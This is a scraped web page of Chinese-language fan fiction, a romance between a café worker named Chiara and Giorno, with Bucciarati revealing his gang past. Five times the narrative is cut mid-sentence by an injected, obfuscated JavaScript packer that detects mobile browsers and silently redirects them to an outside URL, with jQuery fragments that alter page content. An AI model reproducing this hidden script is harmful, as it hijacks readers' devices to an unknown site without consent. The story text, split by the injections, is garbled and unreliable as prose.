而且,换个角度来说,乔鲁诺就算一无所有,冲着他的脸,我都愿意每个月倒贴两个星期的工资给他。 菲奥娜接收到了我不想谈论此事的信号,聪明地闭嘴了。 上车以后,压在肩膀一天的疲惫终于消散了,我反而不太适应地捏了捏自己的肩膀,若有所思。 眼角余光里,我注意到乔鲁诺皱起了眉头。 怎么了? 我奇怪地转头看向他。 “你……很累吗?”他担忧地问。 “还好吧。”我眨眨眼睛,“其实我今天的状态蛮好的,不知道为什么,我今天根本停不下来,一直在店里走来走去,可能因为明天要放假,特别兴奋?” 说到最后一句,我有点想捂嘴巴。 怎么就在这个时候把放假的事情说出来了? 我还没想好怎么运用语言的艺术,让乔鲁诺放我一天自由呢。 但好在乔鲁诺的注意力不在这上面。 “抱歉。”他有点突兀地说出了这两个字。 “你道什么歉?跟你没关系吧?”我觉得有点奇怪。 乔鲁诺不说话了。 菲奥娜见谈话有了空隙,兴奋地立马钻到了空子里: “哎!对了,琪亚拉,我们现在是要去哪里啊?” “乔鲁诺说,今天晚上要带我们去海鲜餐厅。”我替乔鲁诺作出了回答。 菲奥娜:“哦哦!我喜欢!有品,你们俩都有品!” 多亏了她的插科打诨,原本有点低落的气氛又变得热烈起来。 但热烈的只有她和我,乔鲁诺在一旁一言不发。 几句以后,菲奥娜注意到这一点,问:“琪亚拉的男朋友,你怎么都不说话?” 乔鲁诺淡淡的:“我没什么想说的,你们聊就好了。” 菲奥娜的表情扭曲起来,她维持着礼貌,没有对乔鲁诺的发言作出评价。 但她的表情已经揭示了一切。 【你不是说他脾气好吗?我怎么看不出来?】 不好意思当面说人坏话,菲奥娜在手机上给我发送信息。 我大概能够理解菲奥娜为什么这么说,她性格热烈,自然更喜欢能够和她一起疯玩胡闹的类型,而不是寡言的沉默者。 但是,就我个人的第一反应来说…… 【这不是挺好的嘛?】我这么回答菲奥娜,【他说话的语气虽然冷淡,但还是很温柔啊,而且他说话都很有礼貌……好迷人哦。】 菲奥娜:【你在说什么?!你知不知道你自己在说什么?】 我:【我知道,我说乔鲁诺很迷人,我就喜欢这样的。】 菲奥娜:【好好好,我总算知道为什么你才认识他就爱得不要不要的了,是不是他只是呼吸、你就觉得他一直在勾引你?】 我坦然的:【对啊。你才发现吗?】 菲奥娜:【……】 很好。 我成功地把我和菲奥娜的气氛也变得冷淡了。 因为怕乔鲁诺送我的小鸟在咖啡店里会饿死,所以我把小鸟也带上了车,此刻它正窝在我的掌心里睡觉。 也就是说,现在这俩小轿车里有三个人、一只鸟,都在保持安静。 太尴尬了。 但好在去海鲜餐厅的路途并不遥远,乔鲁诺很快把车停了下来。 他刚打开车锁,菲奥娜就急不可耐地爬了出去。 她偷偷在手机上和我说,咖啡喝多了,要先冲去上厕所。 趁着她不在的功夫,我问乔鲁诺:“你怎么一路上都不说话?” 他沉默了一会儿,然后还是那句:“我没什么想说的。” 一句话竟然讲了两遍。 但我不会给他机会说第三遍。 我不喜欢听别人重复同样的话。 “我的意思是,你刚才的状态,跟平常和我独处的时候完全不一样。”我指出我在意的地方。 “因为不是和你单独相处,所以就会不一样。”乔鲁诺转过了脸,认真地看着我的眼睛,“我平常也是这样,没什么太多的话想和大家说……只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171629|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是和你在一起的时候,想要多看看你,才会忍不住说话。” 想了想,他又补充:“还有一种情况,想要你多了解我一点。” 此刻的解释说明,明显就是第二种情况,他想要我多了解他一点,所以详细地将他的心里想法都说出来给我听。 ……所以说,这个人只是在呼吸,就好像一直在勾引我。 菲奥娜根本不懂他有多可爱。 我揉了把自己的脸,克制了一下自己不要露出太奇怪的表情。 “你好坦率……从以前开始就这样吗?我还是第一次遇见你这样的人呢。”我说。 “目前来说,只有在你面前这样。”他耐心地再次重申自己的主张,“而且我并没有刻意这么做……” 说着,他突然叹了口气,神情恹恹,语气中流露出几分对自己的嫌弃。 “啰啰嗦嗦的,很不像样吧?……我得少说些话了。” “不,”我连忙阻止他的危险想法,“很可爱。” 他绿色的眼眸水汪汪的。 我着迷地看着他的眼睛,脑子里又有什么好像被挖走了……等我回过神来,菲奥娜的短信火箭发射似的“咚”“咚”“咚”传来。 我扫了一眼屏幕,她问我到底在哪里,怎么在餐厅里见不到人? “要下车吗?”乔鲁诺的声音贴心地传来。 “嗯。”我自己动手解开了安全带。 他也下了车。 我们还没走出停车场,他迈开一双长腿走在我身旁,若无其事地接着问: “今天可以吗?快要一个星期了……你仍旧要拒绝我吗?” “你指什么?”他说的太暧昧了,我有点心烦意乱。 “你可以接受什么?”乔鲁诺反问,“还是说,一个星期也不够,要等到半个月……一个月之后?” 我深吸一口气。 鉴于我们之前差点因为一个唇角吻闹掰,我知道他这话最多问的也就是亲吻的事情,可他把话说得太模糊,让人听起来很不妙。 我得把话题掰回去。 “你没有别的话题可聊了吗?”我尽量试着用冷淡的语气逼退他。 乔鲁诺的语气也是淡淡的。 但又带着点委屈。 “……是您先那么看着我的,小姐。您每次都那样看着我,然后指责是我犯了‘色欲’。如果米迦勒存在,真该让他判一判什么是公道,还我一个清白。” 我冷笑,停住了脚步。 乔鲁诺也停下了步伐。 我转过身去,手指在虚空中上下忙活了一通,最后还是犹豫着抓住了乔鲁诺的衣角,而不是其他地方—— “没有【米迦勒】,”我揪着他的衣角,恶狠狠地对他说,“我才是你的【法官】,你自己说的,要反悔吗?” “……您太专制了,我要抗议。”他轻声说。 “驳回。”我道。 12. 12 我知道自己在乔鲁诺面前很任性。 可是……他总是照单全收,我很难不被惯坏。 反正这段恋情是有期限的,那么,在最后的终局到来以前,让我放纵地享受一次吧。 谁知道明天会发生什么呢? 在菲奥娜等到不耐烦以前,我和乔鲁诺终于姗姗来迟,进入了餐厅。 怎么处理乔鲁诺送给我的那只小鸟是个问题,我原本想把它托付给餐厅前台的工作人员,但乔鲁诺只瞥过来一眼,伸出手,那只小鸟就凭空消失在了他掌中。 “不管看了多少次类似的花样,我都会为你的技术感到惊讶,”我不得不因此对乔鲁诺感慨道,“你是魔术师吗?” “我确实很擅长变化,”乔鲁诺没有直接应下我的猜测,而是巧妙地回答,“这是我最早学会的本事之一。” 关于魔术师身份的猜测就这么被揭了过去。 我不是一个喜欢对别人的过去追根究底的人,谁还没点自己的过往呢? 想说的人总会主动将一切全盘托出,不想说的人,你进行追问,也只不过是骚扰。 菲奥娜不知道这一茬,她完全沉浸在了海鲜大餐中,一边埋头用餐一边抱怨着自己工作忙起来就只能点外卖,还是固定的一家外卖,因为她的组员是个死脑筋,有自己一套行事章程。 我怜悯地看着她狼吞虎咽,知道她平时确实很辛苦,于是温声细语地附和着她的诉苦,偶尔再加上温柔鼓励: “辛苦你了,菲奥娜。” “但是多亏了有你们这样的人在,城市才会更加安全。” “还有我。”乔鲁诺在这时候突然插了嘴。 “有你什么事?”我莫名其妙看着他,“你也是警察吗?……看不出来啊。” 乔鲁诺抿抿唇,固执地道:“我也在为那不勒斯的治安做贡献,用我自己的方式。” 说完以后,他就一眨不眨地盯着我,用眼神无声催促着我对他进行鼓励。 ……好吧、好吧。 我拗不过他难得的幼稚,弯起眼,一视同仁地也对他进行起安抚: “好,那我们GIOGIO也辛苦啦。” 正在喝葡萄酒的菲奥娜呛了一下,随即抓起纸巾捂住口鼻,脸朝着桌下剧烈咳嗽起来。 我满不在乎地继续使用着刀叉。 菲奥娜咳了半天才缓过来,抬起脑袋,不敢置信地用沙哑的声音询问我: “你刚刚叫他什么?……天啊,琪亚拉,你知道你刚才的样子有多可怕吗?我第一次见你这么谈恋爱!” 在有其余观众、或者只是口头上占便宜的时候,我总是很厚颜无耻,因为察觉不到这种情况有什么危险。 “体谅一下吧,菲奥娜,谁让我确实在谈着恋爱呢?” 我这么回答菲奥娜,顺便抽空睨了一旁的乔鲁诺。 他的耳朵又悄悄泛起了一点粉色……和我截然相反,他总是在我无所谓的时候感到害羞。 只是叫个昵称而已,又不是要进行大面积的肢体接触,有什么可害羞的? 他说一些莫名其妙的话、总是用可疑的目光盯着我的时候,我也没见过他害羞啊? 真搞不懂。 这么想着,我两三口咬掉了叉子上的肉块,饶有兴致地露出甜蜜的笑容,柔情似水地虚虚依偎到乔鲁诺身边,用造作的声音又喊了一句: “你说呢,GIOGIO~?” 乔鲁诺的动作定住了。 他好像陷入了一种深度思考的状态,眉毛紧紧拧在了一起,漂亮的眼珠子都不会转了。 “……没关系。”好半晌,我才听到他牛头不对马嘴地回答道,“琪亚拉喜欢这么称呼的话,完全没有问题。” 一边说着,他一边还稍微低下脸,用手捂了一会儿嘴巴。 明眼人一眼就能看出来,这就是所谓的“人在尴尬的时候会很忙”。 所以说。 这到底有什么好尴尬好害羞的?! 真是完全搞不懂他啊。 果然我们互相是对方的克星吧? 一边这么想着,我一边心不在焉地又用起餐了。 这顿晚餐的账单最后是由菲奥娜和乔鲁诺平分的,我原本也想加入,但他们都争着要付我的那份,我被他们吵得头疼,干脆让他们一人一半平了我的账。 得到特许后,两位幼稚鬼还分别都觉得自己赚大了,乐不可支又趾高气昂地给了对方一记眼刀,然后美滋滋地付款去了。 把菲奥娜送回家,剩下的就是我和乔鲁诺独处的时间,我总算有机会和他谈谈明天的安排了。 “我明天会休假,乔鲁诺,”我直接说明白了自己的安排,“我有一些个人私事要处理,明天应该没时间和你见面了。” “是什么事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171630|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我可以为此提供帮助吗?”他问。 我觉得我和他的关系还没有好到这种程度。 何况如果真的从现在开始就不分你我,那么一个月之后的分手之日到来,我们要怎么面对彼此呢? “不用,谢谢你的心意。”所以我不容置疑地拒绝了他。 “我感到遗憾。”他说。 话题进行到这一步,一般情况下,我们就不会继续谈话了。 可今天不知道怎么了,乔鲁诺犹豫了一下,竟然又继续起了这个涉及我个人边界的话题。 “我能问问你明天的安排吗?”他说,“我想更了解你。……琪亚拉,我们总是在一起,但你很少谈到自己,我想多听你讲一讲你的故事。” “我没有什么故事,”我想也不想地就把话题推了回去,“不过如果你想的话,我愿意听听你的故事。” 这下轮到乔鲁诺沉默了。 ……他绝对有东西在瞒着我。 这明显的认识让我不太高兴。 然后我又意识到,自己实在是被他惯得有点过了头。 我拒绝他的时候,只觉得理所当然;而当他对我有所隐瞒的时候,我心里却不大舒服。 不能这样,琪亚拉,你不能拿自己做不到的事情去要求别人。 在心里默念了两遍如上准则后,我的心情又微微缓和了下来。 “我的确没什么值得分享的过往,”然后我尽可能友好地向乔鲁诺解释,“大多数时候,我只是跟随着父母的步伐随波逐流,我其实是个很无趣的人,乔鲁诺,我没什么故意隐瞒你的。” 如果你非要坚持问我发生了什么,我只能说,我明天是打算去给一个你不认识的朋友买生日礼物。这件事和你无关,所以我不想把你牵扯进来。我不想你总是单方面地为我付出,因为我无法偿还太多。” “我心甘情愿。”他说。 “我不需要,”而我说,“我最讨厌别人送给我免费的东西。” 免费的总是最贵的。 “……可是你已经接受我了,在那个下雨天的咖啡店里。” 他的车速明显放慢了,我看见汽车油门指针的指向慢慢下移到更小的数字。 “这算不算例外,琪亚拉?” 他认真地问我。 ——我可不可以成为你的例外,琪亚拉? 潜台词里,他是这么问的。 13. 13 坦白地讲,如果我不畏惧所谓的“恋爱”,那么乔鲁诺可能真的称得上是命运送给我的“礼物”。 这份礼物甚至没有花费我半点功夫,就自己送上门来了。 我确实不该接受他。 可是冥冥之中,我也不知道为什么,鬼使神差地就是违背了自己一贯的原则。 好像我们本来就应该在一起。 可是父母的前车之鉴还历历在目,真心总是瞬息万变,童话里的主人公之所以能够幸福是因为他们永远定格在了最幸福的一天,真实的世界没有这种案例。 我必须慎重再慎重,如果我和乔鲁诺错过,最差的结局也就是两两相忘。 天长日久,总会好起来的。 可是一旦将自己的生命融入另一个人的人生中,这件事情的性质就不一样了。 …… 我总是很悲观。 而且非常固执。 所以面对乔鲁诺的询问,我沉默片刻,最后决定装傻。 “什么例外?”我假装没听明白,“我在讲礼物,你是人,这能一样吗?” 他没说话,看了我一会儿,然后自觉地错开了视线。 我松了口气。 …… 第二天,我如约和菲奥娜去逛了街。 前阵子在动态里晒甜品的实验员同学已经缓了过来,终于有时间和我进行聊天。 她告诉我那家甜品店的名字,还邀请我去她学校玩。 我挑选完了给布加拉提的生日礼物,问菲奥娜的意见:“薇拉的学校就在附近,要过去打发时间吗?” 菲奥娜想了想:“我好久没去过学校了。” 我说:“我也是。” 抱着无聊的心态,我们俩就这么贸然前去造访了。 好在我这位名为薇拉的同学并不为此感到困扰,反而还很兴奋,说他们研究室今天正好对外开放,在举办特殊活动,我和菲奥娜来得真是太巧了。 谈到自己参加的项目,薇拉十分兴奋,滔滔不绝,嘴里不停蹦出我和菲奥娜完全听不懂的专业名词和科学知识。 我和菲奥娜趁着她转过身的时候对视一眼,彼此从对方眼中都读出了文盲的清澈。 好在薇拉并不在意凡人的愚昧,她反而更积极地对我和菲奥娜进行解说,希望我们也能爱上她的热爱。 快要进入研究室的时候,我们路过一扇窗子,几个女生靠在窗边,突然叫嚷起来,说是有虫子。 我看了眼,是一只无害的甲虫。 她们手忙脚乱地想要逃离,一个男生自告奋勇地冲过来,就想一脚踩扁那只可怜的大虫子。 我拦住他:“把窗户打开,它自己会出去的。” 窗外就是绿植,举手之劳的功夫就能让一只小可怜回家。 男生在我的阻拦下,讪讪地收手离开了,其他几个女生虽然害怕昆虫,但是也没有意见,只是谨慎地等着甲虫离开,才卸下惊惶神色。 我和菲奥娜跟着薇拉,在她身后参观了一会儿实验室。 她在一面墙下停了下来,推了推眼镜,指着墙上的名单,语气颇为骄傲地让我们看: “对了,我们实验团队今年加入了一个很厉害的孩子,就是我说那个很体贴的、知道给我们送甜品的孩子,你们看,他长得还蛮帅的哦。” 我顺着她的指尖看去,看见了一张熟悉的面容。 菲奥娜“啊”了一声,用手肘捅了捅我,挤眉弄眼:“确实~很帅嘛~是不是啊,琪亚拉?” 我干笑:“是的。” 薇拉指着的那张脸分明就是乔鲁诺。 他竟然还在上大学,而且似乎才大一。 一想到这些天来我在对着一个孩子撒娇,让他包容我,我就觉得怪不好意思的。 “可惜他经常不在,说是家里有事忙,我们学校老师都批准了。”薇拉说,“不然真想让你们亲眼见见他,这可是我们团队的脸面!” 菲奥娜学着电影反派的声音,“桀桀桀”地笑了起来。 我越发尴尬,不知道说什么好,继续干笑。 这个话题就算过去了,比起乔鲁诺,薇拉更爱聊科研。 她又要开始讲专业。 菲奥娜赶紧拉住她问: “等等,我想问一下啊,刚才你说的那个男孩子,乔鲁诺·乔巴那,他在学校平时表现怎么样?我很少见到这种级别的帅哥,他是不是很受欢迎?” “……哦,乔鲁诺?”薇拉茫然地从科研介绍里回过神,又推了推眼镜,想了想,才道,“他确实很受欢迎,每次他一出现,大家都忍不住会围着他,但他经常说自己想一个人静静,我们都和他不太亲近,加上他不经常来学校……但是他为人非常不错,无论谁有困难,他都愿意帮忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171631|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲奥娜夸张地附和:“这样啊……还有呢?他还有什么有趣的事情吗?” “有趣?”这个问题就难倒薇拉了。 她念叨着,皱着眉头,想了半天,也想不出个所以然来。 “没什么有趣不有趣的,乔鲁诺人很好……我想不到别的好说的了,我们也不是很熟。”最后,她道,“不过非要说的话,他好像有个弟弟还有妹妹?经常跑过来找他一起吃饭。我听说他的妹妹长得像个明星。” “哦,”菲奥娜说,“那他家人还挺多的。” 薇拉在这个话题上确实没有更多可说的了。 我们又逛了一会儿,一起吃了个饭,菲奥娜自告奋勇送我回家才离开。 回到家,我看到养在客厅里的小鸟,才意识到自己一天都没和乔鲁诺联系。 不知道他有没有发消息给我。 我点开手机看了一眼,对话框里空空如也。 “怎么不说话?”我问他。 乔鲁诺大概在忙,没有回复。 我放下手机,洗漱整理了一下,回来才看到新信息。 乔鲁诺:“你没有问。” 我:“我问了你才会说吗?” 乔鲁诺:“我知道你没空想我。” 我觉得有点新奇:“你是在和我闹脾气吗?” 乔鲁诺:“例外的人才有资格闹脾气。” 我:“?” 我:“酸溜溜的,不可爱了。” 半晌没有新回复。 我放下手机,准备睡觉,明天还要工作。 客厅里突然传来“咔哒”一下的轻微响声,我吓了一跳,下床开灯去看了一眼。 笼子里活蹦乱跳的小鸟无影无踪,一条似曾相识的手链孤零零地躺在底下。 我不由得对着空空如也的笼子发起了呆,怎么也想不明白小鸟是怎么消失的。 真闹鬼了? 我拍了笼子的照片,给菲奥娜发去,吐槽起这桩灵异事件,菲奥娜可能睡着了,没有消息。 想了想,我给乔鲁诺也发去了照片。 乔鲁诺也不回。 我问:“在?就睡了?刚才还聊着呢。” 乔鲁诺:“你是个坏主人,它飞走了。” 我:“……别闹。” 乔鲁诺:“是真的。” 哎呀,这孩子。 14. 14 迫于第二天的工作,我不得不收拾好心情,把小鸟的事情暂且放下,准时入睡。 乔鲁诺承诺他会重新帮我找到它,让我不用担心。 尽管如此,一大早起来上班的时候,我还是心不在焉。 乔鲁诺今天也坚持来接我去上班了。 路上,我假装不经意地和他问起了学校的事情,乔鲁诺看上去就很聪明,一定很快明白了我要说什么。 但他就是不接我的话,不肯说自己还是个大学生。 急得我自己先说了出来。 “其实我休学过一阵子,”乔鲁诺道,“不然也不至于……” 他不再往下说了。 看上去很介意这件事。 好吧,我本来觉得这个话题会很有趣,但他显然不这么看,我只好遗憾地开启另一个话题,,又和他讨论起那只鸟儿到底飞去了哪里。 结果直到最后,我们俩也没有讨论出一个答案。 下车以后,我和他说了再见,他让我记得有空给他多发点信息,我感到惊讶: “我以为你不喜欢这么聊天呢,我和你在一起的时候几乎没见过你用手机。” 乔鲁诺说:“那不一样,总之你今天记得多给我发些信息,你的朋友说你经常给她发信息。” ……菲奥娜! 原来是她引起了乔鲁诺这方面的在意! 可是神灵在上,我可没有经常给菲奥娜发信息,她这是信口开河。 我很想和乔鲁诺说没有这回事,可是又不好在乔鲁诺面前揭菲奥娜的短,于是只好闷声应下这个哑巴亏,勉强地道: “好吧……好吧。” 唉。 本来要应付一个菲奥娜就够累了,现在又来了一个乔鲁诺。 这日子真是越过越忙了。 今天的工作倒是一如既往的很清闲,纳兰迦没有再来,但是上次陪着他一起到店里来的白发男人来了。 他穿着一件收腰的黑色紧身长款西装外套,嘴唇颜色乌黑,配上硬朗的五官,很像从杂志里走下来的冷面男模。 菲奥娜说他有警官的气质,我一点也看不出来。 白发男人这次带了一个像是下属的人,他到店里来,坐都没坐,随便挑了个位置,让身边局促的小弟坐下,扫了我一眼,然后就走了。 我:“?” 这是干嘛? 我摸不着这位酷帅男模的想法,但秉着有生意上门就要接待的想法,什么都没问,按平常和其他人一样的方法去对待这位客人。 想到乔鲁诺非要我给他发消息,我犹豫了一下,就和他讲起了这件事,告诉他我们店里来了个帅哥,帅哥自己不点餐,把小弟甩在这里然后就走了。 乔鲁诺对此的看法是:“琪亚拉果然很喜欢看脸。” 我:“嗯?我合理怀疑你在说我坏话?” 真是的,他不应该先感动一下我真的在想着他、给他发消息吗? 乔鲁诺说:“只是有点嫉妒。” 好吧,这句回答还不错,挺可爱的,我的心情一下好转了许多。 我回了个笑脸:“比起酷酷的帅哥,还是更喜欢你这样的。” 乔鲁诺满意了。 手机不再响了。 过了一会儿,我想起自己昨天挑的礼物,从通讯录里找到布加拉提的联系方式,问他生日那天有什么打算。 “为了感谢您的照顾,我想给您送一份生日礼物。”我老实和他说。 “太客气了。”布加拉提客套了一下,但很贴心地没有和我来回推拉,直接给了我一个地址,然后说,“那天,我会在这里举行一个小型聚会。到时候会有很多我熟悉的朋友,你要是不介意的话,也可以一起过来参加。如果不习惯,可以只是把礼物送过来就好。” 看着他的话,我突然觉得我的运气真不错,居然能连着遇上性格这么好的两位帅哥。 布加拉提和乔鲁诺都是不知不觉就会让人产生信赖感的类型。 真好。 “我很久没有去过聚会了,”我和布加拉提说,“如果要参加的话,要注意什么吗?” “没有那些规矩。”布加拉提似乎很高兴,“如果你能留下参加,我非常欢迎,我有一个妹妹,应该和你差不多大,她平时没什么朋友,只是看上去有点骄傲,所以很容易被误解……但我想你们应该可以聊得来。” 哎呀,老板要给自己的妹妹找朋友呢。 我设想了一下布加拉提的妹妹会长什么样……嗯,事实上,布加拉提自己的气质就已经相当中性了,所以我努力去想女性版的布加拉提的时候,眼前忍不住浮现的还是他本人。 完全想象不到他的妹妹会是什么样的呢。 “好呀,那我要给她也准备一份礼物吗?”我问。 布加拉提说:“这个由你自己决定,琪亚拉,我说了,我们这里是没有那么多规矩的。你只要做你自己就好了。” 好的,我明白了。 然后我又问了一下他那天可不可以请假或者调假,不然我走不开。 “当然可以。”他欣然应允。 和布加拉提聊完,我抬头看了一眼,白发酷哥又进来了,他看都不看我,直接冲到自己手下桌子前,俯下身来看对方的笔记本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171632|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑屏幕。 “你就做出来这么点东西?”他眉毛竖起,看上去很不满意。 “对不起阿帕基先生我会努力的!”下属很紧张。 ……啊,原来白发酷哥叫阿帕基。 阿帕基严肃地对下属道: “搞搞清楚,我带你来这里不是真的让你放松的,除非有紧急情况,不然一切以你的本职工作为先!下次我过来的时候,你要把这个页面的数据都处理好!” 一脸社畜味的黑西装下属哭丧着脸说保证完成任务,阿帕基这才转身离开。 ……不是吧? 我突然意识到,继纳兰迦把这里当成自习室以后,阿帕基把这里当成了办公室。 这也太离谱了。 我举着手机,又想给乔鲁诺发消息了,可能因为刚刚和布加拉提聊过,我甚至想给布加拉提也发信息。 老板你的咖啡厅已经不再简单纯粹了……它现在混入了奇怪的性质啊! 但是我又想到,这样随随便便什么都发的话,岂不是显得我很无聊。 算了,也不是什么大事。 于是我又放下了手机。 接下来几天,咖啡厅的社畜风味越来越浓,继阿帕基带来的男人在咖啡店里苦逼赶工之后,这里又多了几个小说家、会计、码农之类的…… 大家都说这个地方很安静,很适合工作。 这个名声一传开,咖啡店的苦逼上班族又增加了。 等到布加拉提生日的前一天,咖啡店里几乎已经看不到正常人了,举目望去,全都是抱着键盘哒哒哒的西装男女。 我和乔鲁诺说:“完了……我的咖啡店被社畜星人攻占了,都怪纳兰迦。” 要不是纳兰迦在这里写作业,就不会引来阿帕基,要是没有阿帕基,就不会有他那个属下。 要是没有他那个数据处理员的属下,就不会一个社畜种下去收获一串社畜。 “真可怕。”连乔鲁诺都对此无言了,“没想到会发生这种事。” “是的,”我说,“我都想让纳兰迦赔我精神损失费了。” “让我来补贴你吧,”乔鲁诺问,“今天有兴趣去吃日料吗?” “不,我今天要早点回家休息,”我和乔鲁诺说,“明天我要提前放假,我有正事要干。” 我要去给布加拉提过生日了,还要去和他的妹妹交友。 我决定今天晚上回去亲自做点小饼干,用来明天打好我和布加拉提妹妹的友情基础。 不过这种事情还是不要告诉乔鲁诺了,免得他乱吃飞醋。 只要我不说,他也不会知道。 15. 15 最后,我还是烤了两份饼干,一份草莓牛奶味,一份巧克力味。 巧克力味是打算留给乔鲁诺的,其实我并不清楚他的口味,但我想很少有人会拒绝巧克力。 我本来不打算见乔鲁诺,但突然就萌生了,如果聚会结束,他有空的话,请他到家里来吃饭的念头。 然后就顺手烤多了一份饼干。 ……真是搞不懂我自己,明明说好了不要太在意他的。 算了,反正我一定会结束这段关系的,偶尔放纵一下没什么。 自欺欺人地忽略掉自己正在动心的可怕事实,我再次和布加拉提确认了明天生日聚会的地点和时间,把被子拉过头顶,入睡了。 这一觉睡得很好,只是早上起来之后,我久违地接到了来自母亲的电话。 她大发慈悲地告诉我,虽然我叛逆了一阵子,没有达到她的期望,但是看在血缘关系的份上,她决定原谅我了,问我什么时候才愿意回家。 “我不回去了,妈妈,”我说,“我现在自己一个人过得挺好的。” 对话不欢而散,父亲依旧缺席每一次我与母亲的交锋。 一想到母亲的孤独,我感到一丝歉意,但是对此我又无计可施。 总不能真的每次都牺牲我自己去让母亲满意吧? 还是再等等,看事情有什么解决的方法吧。 把生活的烦恼暂且揭过,我带着草莓味的饼干去找布加拉提。 他把聚会的地点定在海边的一栋房子里,我下车的时候,正好扑面而来海风的湿意。 布加拉提贴心地就在路边等着我。 “你来得很早。”他说,“里面还没有布置好,可能要麻烦你帮忙了。” “没关系,”我笑,“好久没参加别人的生日会了,我很愿意帮忙!” 我跟着布加拉提进到房子里,一个粉色头发、打扮时髦的女孩子正在布置大厅。 “这是特里休,”布加拉提介绍道,“特里休,这是琪亚拉,我前几天和你说过的。” 特里休停下手里的动作,“唔”了一声,简单地打量了我一下,视线最后落到我的手挎包上。 “你竟然有这一款……很经典嘛。这是好久之前出的了,我一直想收一个,但是到处都找不到。”她露出兴奋的眼神。 “这是我十几岁的生日礼物,”看她感兴趣,我索性把包翻了个面让她看得更仔细,“我妈妈送给我的。” 特里休羡慕地道:“我妈妈以前也会给我送包包……” 说到一半,她不往下说了,我听她的语气不是很轻快,干脆扯开话题。 “你喜欢吗?我以前的朋友里有很多喜欢收藏鞋包的,我问问她们愿不愿意出这一款。我这个不方便,毕竟是生日礼物。” “真的吗?”特里休的眼睛一下闪亮起来,她亲热地挽住了我的手臂,语调欢快,“那我愿意出三倍的价钱……不,五倍也可以,能现在就帮我去问问吗?” 布加拉提叹了口气,似乎对特里休小女生的举动感到无奈,但他没有说特里休半个字不好,而是转而对我道: “如果可以的话,非常感谢你,琪亚拉……我还不知道特里休喜欢这些东西呢,如果你能帮她找到她想要的礼物,我愿意另外付出佣金酬谢你。” “布加拉提先生,你太客气了。”我连连摆手,“只是发几条短信的事情,不用这么在意。” 然后我就在特里休期待的目光中坐到沙发上,联系起我过去的朋友们,问她们谁愿意出手特里休感兴趣的挎包,并且报上特里休愿意负担的价格。 一圈问下来,还真的有个朋友点头了,我和她约定了交易的时间,她顺便问了我一句什么时候有空见面。 “感觉好久没见到琪亚拉了。” “有机会的话一定会再见的。” 我打着马虎眼敷衍过去。 就这一会儿的功夫,布加拉提已经忙前忙后地自己把房间布置得差不多了,又把食物饮料和用具也整齐摆放完毕。 “有一件事情我必须要和你说明,琪亚拉。”接着,布加拉提严肃地对我道,“我本来觉得没必要,但是,现在想想,你还是知情会比较好。” “什么事情?”他严肃得我有点害怕。 布加拉提看了看我,又看了看特里休,然后道: “其实,我不是普通人,你听说过【热情】吗?” 意大利著名的帮派,菲奥娜做梦的素材。 我有种不好的预感。 “我曾经是【热情】的一员,特里休则和组织关系不大,顶多只能算成员的亲友。”布加拉提又说,“几年前,在执行一起任务的过程中,我遇到了强敌,生命垂危陷入昏迷,一连昏睡了好多年才醒过来,然后就遇到了你。” “从那个时候到现在,我都没有接触帮派事务,全身心休养复健。这些年来我也犹豫过要不要就此退出,但是最后,我还是决定要复出。今天,是我作为普通人布加拉提度过的最后一天,明天开始,我就会重新成为【热情】干部。” ……在医院遇见的好心老板,真实身份竟然是黑.帮干部?! 这突兀的剧情让我有点无法思考。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171633|180701||http|test|mini|href|location''.split(''|''),0,{})); () { 